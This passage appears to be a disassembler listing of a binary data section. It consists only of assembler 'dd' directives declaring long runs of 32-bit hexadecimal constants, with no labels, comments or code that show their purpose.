		dd 47037A44h, 1554AB62h, 2ADD0FB0h, 0D10D4C00h,	0A4B7A6FEh
		dd 3FB3837h, 0DE252C0Eh, 0E0A53AA7h, 1B713B9Ch,	728CE300h
		dd 0A1090E6Eh, 88344858h, 30770470h, 805335C8h,	3782F629h
		dd 56582F00h, 6CF9EDCDh, 61C90031h, 0E4853D1Ch,	509041D0h
		dd 983C0F01h, 6B44C7CBh, 8B9DFE80h, 613D9466h, 0CAC34A00h
		dd 0A4ED6D0Ch, 3AC500B6h, 96FCA71Fh, 0DD988132h, 108D48h
		dd 0F7BA15A5h, 34CA5Dh,	484DDF35h, 0AC1761DBh, 2E952D3Dh
		dd 0E9009FBBh, 130ED634h, 0AB53A0Dh, 7529A002h,	7048075Dh
		dd 9A0086C6h, 0CB0F5B91h, 7D50C09Dh, 0EE4E2h, 7D6CB581h
		dd 0FF084B77h, 4AF8E300h, 0C3F3272Bh, 0B4B448ADh, 128B7050h
		dd 53FAF2h, 7BB2BE74h, 0C824B92Eh, 0D81B457h, 0F6241F51h
		dd 6820F4DDh, 253D1C48h, 5E26C085h, 0B2614BE5h,	0E0F3E400h
		dd 3C10D8A2h, 88C2602Eh, 1254C67Fh, 80CD8828h, 36F0548h
		dd 0ED5CA010h, 48C2B88Fh, 33820AFEh, 18CF4ECh, 7A761BC3h
		dd 0AB742092h, 2F66800h
		dd 0C81EEA2Ah, 5269041Dh, 80E4DE8Bh, 297C4764h,	96BDCEBh
		dd 72807406h, 718634Ah,	3AF0CF81h, 1CFD6307h, 5087FA0h
		dd 5CEA84FAh, 0EEB26900h, 0D417C0C6h, 7A660026h, 0F0771632h
		dd 44002B8Bh, 0BFA47690h, 121DDB1Ah, 3108CDh, 990FFA5Ch
		dd 95FCEB0Dh, 128D2602h, 0E05D4F62h, 9FF5003h, 0E66DA55Fh
		dd 841F8Ah, 7D6EF8DBh, 9312EC8Ah, 50183198h, 92E6C23Eh
		dd 7D03850h, 0C69F5800h, 12C9AA7Ah, 8A003FF2h, 0C89D7DD8h
		dd 2E59013Ch, 76C979Bh,	0F918E15h, 0E82C8120h, 94009938h
		dd 8D74601Bh, 92A439BBh, 80B30050h, 792AAFDEh, 0AD0CCD38h
		dd 8497406Fh, 0CCC100C2h, 87969B67h, 0D700D37Ch, 695E8B38h
		dd 3DBDABBh, 0B85097C3h, 0DC009A98h, 2E1774ECh,	0B82453CBh
		dd 5F680065h, 0BEADF6BFh, 1300923Ah, 0EB93B2F0h, 0ECA749A0h
		dd 897C0F15h, 0FF2529F7h, 39F8815Ch, 0EBFDD027h, 1388C300h
		dd 45E8468Eh, 9F1B1D67h, 0A30FC330h, 76991503h,	7D50C670h
		dd 39243700h, 26E03D4Fh, 2821001Fh, 0E3F7B4FFh,	10010DEh
		dd 6286DFC0h, 0F88223h,	0D798B2B7h, 6B8EB05Eh, 80E9D539h
		dd 8150BC0Bh, 80B6F2h, 0CD035B9Eh, 98AB90C5h, 0F39DB803h
		dd 0B066837Fh, 0D3060Dh, 7C8DB423h, 5AA38C52h, 1A0CCC0Ah
		dd 9C00A5C7h, 230FCF55h, 8A4F02DAh, 0EC2589Dh, 469F0881h
		dd 0D51CC0D8h, 31814E30h, 0E41AEBAFh, 897430FCh, 0C0029170h
		dd 80C07374h, 0A7A9C6C2h, 1BCE74C4h, 18095F6Bh,	81A20FC4h
		dd 45350273h, 9BFC318Ah, 431C1D24h, 991AEE13h, 0E836EBA0h
		dd 0A40E5300h, 85D83E72h, 849A00B6h, 122E755Eh,	4074B5AFh
		dd 82136E00h, 674DE7Ah,	0CCF43C7Ch, 9166047Ch, 0BBD25BC7h
		dd 76D97A01h, 3EC0D57Dh, 0DEEB0045h, 0C1AA2018h, 1D006C82h
		dd 3C88FFA9h, 0FC8DDCh,	54D89505h, 63F0B4FDh, 7CE4D51Eh
		dd 8118B5C0h, 0F41A0213h, 0BC50F170h, 28FE5D10h, 80B6C2h
		dd 0C6D98424h, 6534FA3Ah, 0DF27711Fh, 6973F880h, 0EA6DF7E9h
		dd 90700F4Dh, 0A0C0F34Eh, 92BFEFFAh, 4EC1B07Ah,	384A524Ch
		dd 0A622CCh, 0A3E61319h, 0AA0EF7BCh, 8C033500h,	5E625543h
		dd 0FB810067h, 2D6B5064h, 2E005732h, 0F57E1DEFh, 7DCA39h
		dd 350F063Eh, 7A6D8FFAh, 0FF750214h, 939D00BCh,	0AEA5094h
		dd 33FFB88Dh, 0E1088572h, 8CB22100h, 0A7A19250h, 0B9780012h
		dd 0AF21D4Bh, 0B417EFC6h, 0B30245BFh, 0A09027A5h, 3CEBB188h
		dd 0D93A038Bh, 0C9127391h, 21A40830h, 3ED3D7h, 4113A730h
		dd 0F85A4642h, 5CBBB307h, 0C940B271h, 921ED78Bh, 0E22F1420h
		dd 0DB4110E6h, 0F3A120B1h, 0EDD0D059h, 1F117E67h, 44824064h
		dd 0FCEC83EEh, 520833F6h, 4080BE21h, 8F2C3120h,	1F0A0503h
		dd 0AE1164AAh, 963CD680h, 9F43E13Ah, 0F600A922h, 0CDDC3EDEh
		dd 2A1069h, 6F483638h, 0C0F08FF5h, 58988A31h, 7424999Ah
		dd 0D1C20111h, 892ACFE1h, 8B23DC16h, 88E3FE00h,	1CFAB0A1h
		dd 7AC9189Dh, 0E9F9E1ECh, 80E02A71h, 42C1B301h,	0E5070CDEh
		dd 0C8A0FC4h, 9D18132Ch, 9140FE70h, 0D75D0138h,	0CB19A223h
		dd 0F27CD8B5h, 3BB69E01h, 62995F74h, 0C2AAC0EAh, 274401B3h
		dd 353AAC94h, 0A6CCC0Fh, 0AEC94503h, 0D8E0AFD8h, 74914Ch
		dd 1DCDD181h, 65DE11BBh, 76FE58h, 4CFCF42Ch, 1EFFB59h
		dd 716FF22Bh, 0D4962353h, 0F1E6460h, 7F80360Ah,	0BD1EC3D1h
		dd 822C00A1h, 38FECFF0h, 8C003B4Ah, 0A72A0CE0h,	0D673A5h
		dd 0DCBB58CEh, 6C8E56B8h, 41FC9200h, 6E448362h,	6F1D00D3h
		dd 74C7B48Fh, 0EB005053h, 0A1969D66h, 2840Eh, 0ECAB2363h
		dd 91DF30D2h, 0F6733C1Eh, 0C55A3600h, 98F957h, 0FDEF3CFh
		dd 0DC34A60Ch, 0AE9FB301h, 69ECB91Fh, 0DEE493F9h, 0E90A00CCh
		dd 0D5985632h, 42EE532Bh, 0E182EB00h, 0F044DFBDh, 251D03B3h
		dd 16AE77B0h, 0C1680FD0h, 0D311AD0Fh, 53C30019h, 38901AB9h
		dd 1800BDC8h, 8809BB4Ah, 9E16B154h, 9D004297h, 821F4DD3h
		dd 0F36800EEh, 4D8B3AAh, 2102A429h, 0D6ECED58h,	0D40F505h
		dd 0C005E39Ah, 0AFFE5516h, 0ACF7C900h, 8A2890h,	0AADD46C1h
		dd 3C31E714h, 35982FECh, 4CEBC300h, 471D33FEh, 0FC9500C8h
		dd 80219E91h, 0AB0557F1h, 2E94622h, 4437B000h, 0C9248Ch
		dd 53E6C5D4h, 0A5F575CEh, 470F340Eh, 628BE3E1h,	218A9337h
		dd 43102929h, 3D42C588h, 232D2488h, 115FA46Ah, 0F1681174h
		dd 0DFFD4474h, 44AD5E44h, 0F745F57Bh, 5AC213D6h, 3520B124h
		dd 0D980391Dh, 0C84588E7h, 109502F5h, 264003C9h, 0BF7B84DDh
		dd 50411989h, 29980E4Ah, 0AE2079A1h, 81A2F013h,	0C8F100AAh
		dd 8388C6BCh, 0E6001AE0h, 9ED7A535h, 75628E86h,	0DDC90043h
		dd 67E72272h, 0CD79923Fh, 953C6800h, 0F9329D83h, 0C3D5007Fh
		dd 5497C420h, 0C63C2A6Ah, 80B5BEDAh, 87898AF5h,	0BD6A6CDh
		dd 48BB61F7h, 3E209B8Eh, 8CF1BE56h, 0E99D50Eh, 980360EDh
		dd 107960h, 0F8699293h,	6FA380AFh, 86F6EF01h, 0B8176B4h
		dd 4FDFFC40h, 0FBA803CCh, 0D0425546h, 9E8B59A8h, 0CBCF2400h
		dd 0AAD4677Ah, 0B31D0919h, 7102406Eh, 9DE0780Ah, 3378A179h
		dd 8F269471h, 30073273h, 72CF764Dh, 6004D700h, 9275F236h
		dd 3EBA00E4h, 0B4A4F5DFh, 11F65B64h, 53CEE20Ch,	481097h
		dd 0BB96438Eh, 4707E94Ah, 9DE054B8h, 0A8B8D107h, 7520A0EDh
		dd 5EBF27h, 0E0709188h,	367197D2h, 0B079F432h, 0DE1C0A5h
		dd 1C04004Ch, 229ECBA7h, 0C2FEACDAh, 86F7E100h,	24EDD458h
		dd 1337425h, 30F80192h,	0E8E48A80h, 2600DA70h, 33029BA6h
		dd 164413h, 7DA5BA74h, 3920F0DFh, 4AE0E701h, 0CCAF91FBh
		dd 83CDE087h, 0FCFAA003h, 3E010171h, 76DC5D81h,	21CCC757h
		dd 0DF4E05B4h, 11CE30Bh, 87C49484h, 0E80CE96Bh,	0D800B8F7h
		dd 0EC295005h, 0FA564Eh, 75AFEF69h, 82D541CDh, 63C35A00h
		dd 0BA79A852h, 426A00E4h, 21C005CBh, 740153CFh,	11362FE8h
		dd 28D07D60h, 0BDF400F8h, 4B2B9A8Ch, 550079E9h,	38845407h
		dd 5FF5DEh, 26343702h, 78036410h, 14083Eh, 9657AFE1h, 0EB28BF4h
		dd 9D700F1Dh, 0AB26DE20h, 0BF002E53h, 654DA050h, 11CD3DFh
		dd 0FC25322Ah, 0D00B56A5h, 0D60097E3h, 0A3999CB4h, 0DD9DD9h
		dd 0FA71E1A6h, 3F4A6ECAh, 992CF0A0h, 0B064E629h, 0ED8DD400h
		dd 0F8803C60h, 0A1FE0CA7h, 6D105718h, 0E4834403h, 0D81D91F4h
		dd 85BCC0h, 22C87DA3h, 79A9B175h, 0B04825h, 76D462A4h
		dd 745C4887h, 70D9FA80h, 8E26DA21h, 0D400B996h,	6635B5EFh
		dd 733800F7h, 0DCC40F28h, 0F4F7A8CEh, 481FA156h, 0BFC9BD57h
		dd 9C0907h, 7D6629B1h, 0CB98002Ah, 1817C90Fh, 9900137Eh
		dd 16D808C8h, 509B816Fh, 752A809Fh, 0A6D7001Ch,	2E78ED9Eh
		dd 9007528h, 181B6A90h,	0B78066h, 65645791h, 8BC6EA43h
		dd 409CCF01h, 181EB5DBh, 0ADF9C8h, 99A32E71h, 0C5E48035h
		dd 5E381600h, 0A284D3FFh, 8B6000C2h, 0B83DF15Ah, 0B20283E3h
		dd 2D112CEh, 0B5B88017h, 77EF9D4Ch, 0C4736Dh, 27395BF2h
		dd 99F86A1Fh, 37514800h, 0C1DE476Bh, 0C7A100BFh, 1EF3C3FCh
		dd 0CD039897h, 1C9127E6h, 0B734E024h, 0F58214C1h, 0E200A43Eh
		dd 70DF55A5h, 0C890E4B3h, 788C7300h, 0E7D86AFAh, 0B4EA00DBh
		dd 28FDCD9Eh, 8A004B45h, 673F41B0h, 12D4057Eh, 4F9B2Ah
		dd 0AF174225h, 2F3BE740h, 950B00C0h, 9C4DBED2h,	8BF50035h
		dd 0C1C2343Ah
		dd 0A53E2F72h, 0DE3E8113h, 0EE4C36E6h, 18283FF8h, 0C825CF49h
		dd 7500114Eh, 4D9B1A0Ch, 558270h, 0B3D05965h, 894B4FC2h
		dd 80A95A3Fh, 9627525h,	0E450CDFDh, 0EE5D74A7h,	0E2EF0478h
		dd 8006BBA0h, 2DCF0F04h, 2E511A00h, 4514C7A4h, 826C0061h
		dd 0E5F49527h, 7300C8B4h, 0FDFA7F8Dh, 4D300670h, 0F10014BBh
		dd 81CC1A6Ch, 760444E5h, 0A96AD37Ah, 18730480h,	5989A79h
		dd 27F25DC3h, 0E0E0047Bh, 0CB62806Bh, 7909037Ch, 78C4C59h
		dd 1CD15CECh, 0D43034EBh, 0A8E08Ah, 0CDBA627Ch,	6CED8BE4h
		dd 12231E5Ch, 2005AC6Bh, 9800D5D4h, 211B9FFAh, 0BF4F48DCh
		dd 5FBFB500h, 66A5F068h, 0CAC63Ah, 0AE8B3609h, 0FC8032h
		dd 0E6C8F7CDh, 0E2945133h, 5C10213h, 6B8F440h, 6D91FA8h
		dd 0AAC7D13Bh, 0C19840C3h, 0F0E1CB07h, 0DA13730Ah, 0BCB80EB1h
		dd 17483C8Bh, 0C820EA03h, 68CBF85Ch, 0A33800D7h, 5253F491h
		dd 4A00D2E3h, 10A9EB43h, 70BEEA20h, 9FC40134h, 0E1989BF7h
		dd 92308149h, 3CE46F31h, 6820DDDDh, 17250046h, 9DF5CFD1h
		dd 0C3645D2Eh, 0A4C1ACB0h, 1880AB06h, 3986BCADh, 0BEFEE66Dh
		dd 0FD9F858h, 0E15BA454h, 7A19F463h, 82D860h, 68F8BA11h
		dd 5345E32Ch, 0BE7EAF7Dh, 87938h, 0F68BEB8Eh, 8F85E8h
		dd 0ED5649E5h, 64C91AB7h, 0F480CD90h, 1826DB8Ah, 0F903F473h
		dd 0F0CE4021h, 0A1AB35A1h, 7DD8EEC4h, 7130906Dh, 9D7EB0h
		dd 82394F3Eh, 16831168h, 64F8DA00h, 8727080h, 56FD00C4h
		dd 66301FDBh, 0C70087E4h, 8ED13FE7h, 886EFAh, 23A8898Ch
		dd 0F6B5868Bh, 0C51CCCC2h, 918884C1h, 6E50C8h, 9BB3AD04h
		dd 6B022079h, 0B2920B00h, 6F237AE2h, 0C3F001C7h, 33806E61h
		dd 0B7F1DCB1h, 79620300h, 10DA8711h, 50A51822h,	6981E064h
		dd 0F275350Bh, 0A0688E80h, 0D94486FBh, 0F79A07D8h, 60141D8Ch
		dd 4379E306h, 0C351B600h, 97288B9Dh, 3498A082h,	0AE090015h
		dd 0A41374AAh, 8900E5EFh, 0FC87128h, 3D507ABEh,	7480B5EEh
		dd 4EC56F33h, 880931DCh, 0FAAEF2h, 0CA72C850h, 5FE9Fh
		dd 95F01A87h, 0A69A930h, 0F91D820Ah, 1C0EB09Ch,	760CA745h
		dd 0FB5E059Fh, 0F488C6C5h, 73D50148h, 28FCE5E9h, 581020AAh
		dd 0C018A90h, 800D67A5h, 0C4FDF52Fh, 1C2C3F0h, 6CF99EB2h
		dd 0D00FBDD5h, 4CB18BDFh, 4952C480h, 7A739BD4h,	6C30F1Ah
		dd 0A9602FA5h, 1CECEE97h, 0CA003675h, 0BE356FC0h, 0DC4557EFh
		dd 67D58178h, 804CB742h, 5AC9B010h, 745ED48h, 1AB5F558h
		dd 122AE207h, 0D9388880h, 7089342Fh, 12DB2FCh, 0B50F8EE9h
		dd 0D4981C4Ah, 94A873F3h, 1804810Bh, 0A6C4E8D2h, 0F1480A0h
		dd 0BA31D16Eh, 0E9D8E40h, 410AFB68h, 88D06204h,	0C48909Ch
		dd 0C646810Ah, 3079BF75h, 9E3D2964h, 2C540062h,	915D90E0h
		dd 0B56603A4h, 0C98FCC59h, 0CB48808Ch, 78B216A1h, 91159B00h
		dd 38EAA9EFh, 61A70358h, 42F0CB1Bh, 6E7602A0h, 0C5BEAD00h
		dd 8FFEE14Bh, 0F5DD008Ch, 29550A70h, 5023D17h, 0FF5B5F74h
		dd 0D9D2E08Dh, 369100B4h, 675C2103h, 9B00C80Ch,	57E487C1h
		dd 79D5D6Eh, 0CD306910h, 8F99309Ch, 60092E3h, 6586F036h
		dd 96CA2Bh, 0F7B5E09Fh,	82C8F8F9h, 0C17F0100h, 0D26E2722h
		dd 94093002h, 41E8D978h, 90FE7976h, 50E0E202h, 6883FF31h
		dd 0D85148h, 0A0E96EBFh, 2D75ED44h, 8060B93Fh, 74D24BA9h
		dd 63BAD0h, 337872Ch, 73C0AE2Eh, 303E7E00h, 0B4A4C3F7h
		dd 8440E51h, 9E2462D0h,	41C0806Bh, 2B0E75A9h, 809CD2D8h
		dd 20515E6Ah, 9FCB2676h, 8DBC00ECh, 6E331CEFh, 0AA728E01h
		dd 82E5B090h, 4CE0F020h, 0F80F4D01h, 0EFC0BA1Ch, 0ED263486h
		dd 0CB52D403h, 0FCDE75h, 0BF398348h, 0C577F4F2h, 0CEEDC400h
		dd 67CC5B60h, 0E8D660DCh, 136AE243h, 4DB28D39h,	27FE0700h
		dd 2D40DB39h, 0CE6D8194h, 0F6455EB8h, 5858C3D1h, 167462B8h
		dd 0EE9F9C01h, 6ECEA46Ch, 0B14F2880h, 0F53852B8h, 8019C600h
		dd 3AA16F36h, 54B4A00Bh, 479B10EDh, 680526C0h, 2978E441h
		dd 0A4E969C5h, 7A6F4330h, 167C003Eh, 6B499987h,	0FF094D27h
		dd 8005CFEDh, 0C0812B70h, 1CD4F320h, 6F960CC9h,	2D886602h
		dd 0D2991500h, 0A48C5D87h, 72DB0131h, 4C1B84D5h, 0BAE46461h
		dd 5190A900h, 0DC2D5FCEh, 298901A4h, 225CE1E3h,	0E7D760C7h
		dd 6485020Ch, 60EC94D0h, 54B84801h, 0FB882EFFh,	73D81276h
		dd 3EAC40A4h, 280D0768h, 21DE2F16h, 15942442h, 1C247020h
		dd 0C23E122Bh, 0E4829233h, 984074C2h, 4328727Ch, 4D00F4EEh
		dd 5CDA6C31h, 1BD6E52h,	5416A6B1h, 0C0992185h, 32FC4B1Bh
		dd 2309A4Dh, 0DF0B4EDDh, 9801002Dh, 0F441E402h,	0F62AAC0h
		dd 0DF7DA7A4h, 8AC1A61h, 0DAD8CF5Eh, 0DB003FCFh, 18A76B71h
		dd 78A0D6D4h, 3E670011h, 0B4EAC1E1h, 38F40D3Dh,	6DB1CB02h
		dd 9F8717h, 0F5F6020h, 488FB899h, 803A0A3h, 1C09812h, 74CF3E2Dh
		dd 0E01D59ACh, 0EF0CBF0Dh, 303C525Bh, 13A6F476h, 2FC6092h
		dd 0C8CAAD3Ch, 6C0A0102h, 0D22C02E4h, 8747C5Ah,	9A43A4A2h
		dd 0C055D761h, 0B4A0A86Fh, 0C1023A7Ch, 6412FE59h, 2CB1E060h
		dd 503E00FAh, 0C4DD24CDh, 0E1006745h, 4C33C5AFh, 97E5BDFh
		dd 11D6764Dh, 89CCCC1h,	8F921813h, 61AE7082h, 1DE8DC54h
		dd 45020E00h, 3F9FE937h, 950B0007h, 7258FA1Eh, 0C01D9046h
		dd 561FA155h, 0F0C38540h, 33FE68Ch, 0B751EDB4h,	1909D46h
		dd 0D6F49C0Eh, 5950B209h, 0E5E861A2h, 3C006023h, 0A82E71B0h
		dd 8A1C1C32h, 44807D72h, 64C5197Fh, 766E0F63h, 0CBAFA0A6h
		dd 51D33D20h, 8502F528h, 529E8118h, 0F9B88068h,	75D06AAh
		dd 0A6DAE5D5h, 4EEA1088h, 0E1485136h, 8E8309E7h, 734E8094h
		dd 0E493BED9h, 86A20184h, 9A015017h, 0AC8FFC45h, 0FEEF4B00h
		dd 25CFF44Fh, 34F284h, 9C5A65C8h, 401C0899h, 7AF0E81Bh
		dd 0E782BBD0h, 57C9B5F1h, 0E28AC02Fh, 3C00A783h, 9911F14Eh
		dd 0DDB28293h, 0F7D20098h, 506EAE17h, 26007EF0h, 0A83913FBh
		dd 501D93Fh, 0D5445386h, 0EAF300C3h, 912E5754h,	0BEFAF102h
		dd 6CD4CF67h, 509A00h, 719BD0E9h, 0C084ECE0h, 403B92Eh
		dd 0CC044A3Bh, 6F00991Ah, 0F36608B6h, 4ED3D012h, 78103852h
		dd 929600F8h, 0D18CF145h, 3C4F20h, 77AC53DCh, 92988136h
		dd 147130A0h, 3EE44858h, 139B0F97h, 9E8EA091h, 0E700D4Dh
		dd 0D5673E9Dh, 2FBC6221h, 0C64424BDh, 4993069h,	34D03341h
		dd 0F079C8B4h, 0E274FCh, 4024550Bh, 18421432h, 0EAB01004h
		dd 0D8F41645h, 0D0110752h, 0E5DC4393h, 62A020C1h, 0F1003388h
		dd 3547D4ADh, 70609D5Ch, 0AC540059h, 1B3A178Eh,	34FCAFFCh
		dd 6E3D0207h, 0CB6F0F31h, 933422E4h, 0EAF06050h, 0DAA03F2Eh
		dd 1E05C401h, 724CBC13h, 0F5A41070h, 816AC016h,	0D49F3EC0h
		dd 91E46CC8h, 9A00617Bh, 3194F105h, 0EB5D64AAh,	74586C72h
		dd 0E4722884h, 5CA08B04h, 20805B99h, 1DF8B89Eh,	0CE631C72h
		dd 0BB80CA19h, 6D8793FFh, 482EBD00h, 0A2C6E8B0h, 31422633h
		dd 2B04007Bh, 0FEFB71B1h, 75C70E07h, 0E1A08A7Fh, 0E30FC88h
		dd 16332F4Bh, 497403E0h, 382DCBEEh, 90640023h, 3841C863h
		dd 93004C7Dh, 0F82EA080h, 0B81602E0h, 20C07553h, 285C82B4h
		dd 7084CCD1h, 837C0F36h, 9D807919h, 0DB8E776Ah,	9A37A31Eh
		dd 6EADBD01h, 80402965h, 1741FEBCh, 0F157678h, 4DE0CE4Bh
		dd 77C5EE27h
		dd 0ECB5D91Ch, 5940FE9Fh, 1FD11988h, 32103B4Bh,	0A3A4F600h
		dd 2C0681A7h, 0D4628F09h, 0BCC8004Dh, 0E80EFA23h, 0BEDC0ECDh
		dd 0E494AFF8h, 77FFA500h, 0C31E89E0h, 0A2CF18CEh, 0C09C3D07h
		dd 0DA39429h, 0F6C0889Eh, 0A82620D1h, 1A70100Fh, 0A61BC0B3h
		dd 1E7CB15Ah, 4029D467h, 52893671h, 0DAE8C3DFh,	6B02CDE0h
		dd 0CC88A360h, 587087h,	0FEDF3E86h, 2A3999C4h, 90989B00h
		dd 0DEDA4AC8h, 0F7713FF2h, 0A7FD4989h, 21F9A980h, 5F035876h
		dd 0CEA9DCE1h, 0BB02FD37h, 63FE8005h, 0EEDBC0D0h, 3FB31E03h
		dd 4BCDC46Eh, 0F69080F1h, 704C22B7h, 0BE870288h, 43622A07h
		dd 189C90F0h, 14317AE2h, 0F88B5898h, 8550B32Eh,	0A42B8FC1h
		dd 0EE0084E8h, 6E91CB82h, 7FB6CFh, 81DB9555h, 0F98339BFh
		dd 7304A700h, 0D91FE3C4h, 21D224C3h, 1C0A0E8Ch,	0D5A33B00h
		dd 0CD003C98h, 7C7A4A75h, 900E2F2Bh, 338300FCh,	0BAE9E8F9h
		dd 9F044D36h, 0EFFAE739h, 98461680h, 0FDE600C8h, 8B012BD2h
		dd 0AA13BAD3h, 0A0EDh, 0E6BEEF9Fh, 1C9A70F3h, 0BD88F63Dh
		dd 0C791B781h, 683FE397h, 53938070h, 677FBCh, 54CEEC06h
		dd 97F72622h, 4B2C5F09h, 103400A7h, 0BCBB2531h,	0A908290h
		dd 98689C37h, 0A20029E9h, 247F0EFCh, 24DD54BEh,	9514F0EBh
		dd 0CD17F0A9h, 0E47C0E9Fh, 663C9380h, 1613621Ah, 6481F2CFh
		dd 0C0602C0Eh, 808658D3h, 4033DD8Fh, 0FD3AEAC0h, 3900FBFEh
		dd 0BCADC4E8h, 0E0A0D48Dh, 3A27538h, 0F28723Eh,	0F7F81B27h
		dd 850F978Fh, 2009689Ch, 3B3E72Ch, 61E20042h, 0D44943F2h
		dd 69005144h, 1F5422A9h, 4F663055h, 8C3807F4h, 184730FDh
		dd 3703334Ch, 190746BBh, 0D5F91C15h, 7294C2DCh,	50E231h
		dd 0E32E38B0h, 0A8A6485Ah, 0B27EA000h, 30044DD1h, 8A98851Ch
		dd 8B00B1D4h, 8D5FCDBh,	39CBD00Ah, 0E1132739h, 40C1189Dh
		dd 750B41C0h, 8E8020h, 97C143C8h, 9DF20025h, 2EDE3FD0h
		dd 0B4A1D708h, 21E6FC64h, 6B00F9FEh, 0FC408C71h, 0FFE2DD3h
		dd 0BFE561A6h, 7478BEC2h, 0E015B049h, 9498E4B2h, 217E2C00h
		dd 50EEAD01h, 909B0ADDh, 4849353h, 0E0B22434h, 6871BDACh
		dd 0F6483A00h, 61CAAEE8h, 5BA7037Eh, 808A5A87h,	0CD960EF9h
		dd 0D012F40Ch, 97F4E400h, 0FAC6211Bh, 9A55129Fh, 17002CBh
		dd 0FCE0BEB2h, 0DF413943h, 795C7C4h, 1B7B1230h,	598562B2h
		dd 0EE09D471h, 573087ABh, 0E6C24AE0h, 0CAD4E5Ch, 0F8C6D838h
		dd 8CE85326h, 2DC02F02h, 64406001h, 0CAD0B49h, 68008527h
		dd 470D5ECEh, 7E00C4B0h, 0F141BDF6h, 7BE14A9h, 1A06B3C9h
		dd 0F8120880h, 0C000CA6h, 36EBD81Ch, 1B0046EAh,	8C1D460h
		dd 649E4EA9h, 0C06170D9h, 264396E4h, 817410C0h,	13CF675h
		dd 0B5942B83h, 80426850h, 2A34D360h, 0EC0E87EEh, 564BC0h
		dd 695803C4h, 0D23AE320h, 0E726017Fh, 8EE048Bh,	6E39F4h
		dd 6A695579h, 12B1B721h, 0A1E4A500h, 71F3291h, 0AD14011Dh
		dd 599A3DD2h, 463ED09Dh, 0B573CB18h, 40E34080h,	3894FC65h
		dd 85E914E1h, 92439C0h,	80951203h, 42198440h, 0F566930Bh
		dd 0E4F0028h, 48E998A5h, 0E10098A7h, 409E3B13h,	1A76490Bh
		dd 8831BD05h, 0D80EAB57h, 25A5024Fh, 122C608Eh,	6B984Bh
		dd 206F9F1Ah, 0E5E22B94h, 0C1CCC48h, 2882F29Bh,	667600EBh
		dd 0F3A429EAh, 2D03CC71h, 733AB44Ah, 0F4C20057h, 237E478Eh
		dd 0B894EF7Dh, 8AD1C800h, 1F6E98h, 6FB3AEF1h, 118803Eh
		dd 0E307C400h, 993D1C79h, 36433DE5h, 0C8FA9800h, 1892295Fh
		dd 27F42500h, 0E0E7CEE3h, 0EC1209B3h, 5401CBF9h, 38AB4B65h
		dd 0C958002Ch, 4A54909h, 4FBF1E2Fh, 0B6DC80DEh,	4BA9D067h
		dd 5CED0700h, 2626F8Ch,	2F8B0054h, 80DC0AEh, 7600E43Ch
		dd 0EF83E24Eh, 0EB54DAFh, 42322B79h, 75D8A060h,	940749D5h
		dd 0A820259Fh, 797FC780h, 0B49C011Dh, 0E0326B01h, 17E838E4h
		dd 6830AF15h, 25AC4950h, 28604077h, 5B00C332h, 0FDB7C5Fh
		dd 1DDE37AEh, 0AFE174h,	8ACC11F5h, 76124D9Bh, 88C26F2Bh
		dd 48046A5h, 0E04FB6C4h, 10AC30h, 0A1F51A1Bh, 7AA7BDh
		dd 0D7496D2h, 8430028Fh, 0D3002490h, 69FF75FDh,	0A0E2A197h
		dd 0A61FECh, 6B8CBED8h,	29AA04DFh, 0D7352700h, 0DE3AEFDBh
		dd 212302F6h, 9C840BDAh, 0B9000C51h, 0F9D08FF3h, 0A4802AFh
		dd 293DB4Ch, 0C727A440h, 86EC0095h, 3B13DA6Ah, 57589FDh
		dd 3C2CBA7Fh, 0B5C8038Ch, 0AF906257h, 0B30A397Eh, 0E864C25Bh
		dd 0DC07844Ah, 8B9FB4E0h, 1B9C0094h, 863EAFC3h,	0AD10400Eh
		dd 0FC405343h, 2765C13Fh, 8642044Ch, 0ACA9EB84h, 0D5182B8h
		dd 0F3E7604Ah, 7CE37438h, 0EC2CF16Bh, 0D4094F00h, 0AF20E822h
		dd 0A951F107h, 0A4902459h, 2CD82D2Bh, 1E0097B4h, 6B69C017h
		dd 2EC4A3Ch, 82123DF8h,	0F00087F7h, 91988970h, 536A00F1h
		dd 0BE71F6DFh, 223AB316h, 0DA0D01D0h, 0BC0BE24Ch, 4C309BF5h
		dd 3689C46Ah, 52CC079h,	11098CE8h, 2785E0h, 50BEAA0Ch
		dd 53970247h, 1232F6E9h, 8C1B0460h, 0D54A700h, 46569557h
		dd 0C2C901B0h, 6943D128h, 9917204Fh, 9CAD74Ch, 80742FF1h
		dd 3C7D6F58h, 0B630016h, 12DACE51h, 61079118h, 0FF039C20h
		dd 65FD2460h, 0AA733Fh,	503AE041h, 474FC363h, 62BBD307h
		dd 18409E7Bh, 3A9CF2A8h, 0F400B592h, 0F357A5Dh,	540003D5h
		dd 0AC1722C6h, 2EFEF599h, 3A02623Bh, 0A6346803h, 0EEA0F4D0h
		dd 0E94CACA8h, 0AD9D003Ch, 0B2C0183Eh, 0C72E7633h, 0B04831E8h
		dd 809EB9B3h, 0BA1D7300h, 78E49CB4h, 0DCCA3A19h, 6D18F89h
		dd 0ED80B009h, 911F65B0h, 53F4C900h, 2C92EC37h,	6BD101DAh
		dd 0B748ABA1h, 14D430C4h, 5ACA3500h, 53A13F9h, 2FD42CDAh
		dd 7A046034h, 7D0EB708h, 80C48777h, 0BE11E065h,	0D140075h
		dd 0CD28C0F9h, 0D700531Bh, 0D0F870EFh, 0CCA3CEh, 65E8233h
		dd 0FFC4D844h, 0AA56C300h, 37DAF9Ah, 0EE88001Eh, 0C93CA572h
		dd 0F5001F49h, 4D16BB19h, 1F3926D1h, 5E5F0967h,	0DEC9C735h
		dd 3FDA044h, 83F4E5BEh,	67BAA41Ch, 0A7332503h, 8256C9C8h
		dd 10909847h, 5F8628h, 0DF3BA998h, 0A3BA241Ch, 38AE9900h
		dd 0B82A1EDEh, 710A0A1h, 0A0BD002Bh, 0F83DAB9Eh, 160C8004h
		dd 7105F464h, 0E10E0E8Ah, 1A2052B4h, 1CE465D9h,	6989931Fh
		dd 0BE093500h, 30AAB62h, 0ADD9B129h, 0A1A09928h, 20C789D3h
		dd 0B4C0A92Bh, 0DAF3FCh, 785290A3h, 14820AEDh, 4A030BB0h
		dd 649F20EEh, 0F879DE91h, 0F0817657h, 4634A052h, 0ABD13705h
		dd 1B4F8120h, 0CD84E1E4h, 0AE28F4BDh, 957D3Ah, 7F821D9Dh
		dd 14800281h, 68F26414h, 28748814h, 65D11E01h, 0D0311A9Ah
		dd 9E151CE3h, 46C7089h,	992905FEh, 24800800h, 6E83113h
		dd 8098263Eh, 7AA949A1h, 0B6AE7Dh, 770A335Bh, 765E95E6h
		dd 1A10C100h, 55180D78h, 0DDDE01B4h, 0E6928C52h, 0E7ED30C8h
		dd 0EB6B7400h, 679B0833h, 947524h, 51A77125h, 0B4DFF8ABh
